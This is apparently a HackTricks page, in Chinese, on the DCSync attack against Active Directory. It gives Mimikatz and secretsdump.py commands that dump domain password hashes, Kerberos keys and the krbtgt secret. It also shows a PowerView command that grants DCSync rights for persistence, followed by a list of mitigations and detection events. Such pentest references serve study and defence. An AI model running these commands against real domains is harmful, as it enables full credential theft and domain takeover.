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65 lines
3.4 KiB
Markdown
65 lines
3.4 KiB
Markdown
# DCSync
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{{#include ../../banners/hacktricks-training.md}}
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## DCSync
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**DCSync** 权限意味着对域本身拥有以下权限：**DS-Replication-Get-Changes**、**Replicating Directory Changes All** 和 **Replicating Directory Changes In Filtered Set**。
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**关于 DCSync 的重要说明：**
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- **DCSync 攻击模拟域控制器的行为，并请求其他域控制器复制信息**，使用目录复制服务远程协议 (MS-DRSR)。由于 MS-DRSR 是 Active Directory 的有效且必要的功能，因此无法关闭或禁用。
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- 默认情况下，只有 **Domain Admins、Enterprise Admins、Administrators 和 Domain Controllers** 组拥有所需的权限。
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- 如果任何帐户密码以可逆加密存储，Mimikatz 中提供了一个选项可以以明文返回密码。
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### Enumeration
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使用 `powerview` 检查谁拥有这些权限：
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```bash
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Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
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```
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### 本地利用
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```bash
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Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
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```
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### 远程利用
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```bash
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secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
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[-just-dc-user <USERNAME>] #To get only of that user
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[-pwd-last-set] #To see when each account's password was last changed
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[-history] #To dump password history, may be helpful for offline password cracking
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```
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`-just-dc` 生成 3 个文件：
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- 一个包含 **NTLM 哈希**
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- 一个包含 **Kerberos 密钥**
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- 一个包含 NTDS 中任何设置了 [**可逆加密**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) 的帐户的明文密码。您可以通过以下命令获取具有可逆加密的用户：
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```bash
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Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
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```
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### 持久性
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如果您是域管理员，您可以借助 `powerview` 将此权限授予任何用户：
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```bash
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Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
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```
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然后，您可以**检查用户是否正确分配**了这3个权限，通过在输出中查找它们（您应该能够在“ObjectType”字段中看到权限的名称）：
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```bash
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Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
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```
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### 缓解措施
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- Security Event ID 4662 (对象的审计策略必须启用) – 对一个对象执行了操作
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- Security Event ID 5136 (对象的审计策略必须启用) – 目录服务对象被修改
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- Security Event ID 4670 (对象的审计策略必须启用) – 对象的权限被更改
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- AD ACL Scanner - 创建和比较 ACL 的报告。 [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner)
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## 参考
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- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync)
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- [https://yojimbosecurity.ninja/dcsync/](https://yojimbosecurity.ninja/dcsync/)
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{{#include ../../banners/hacktricks-training.md}}
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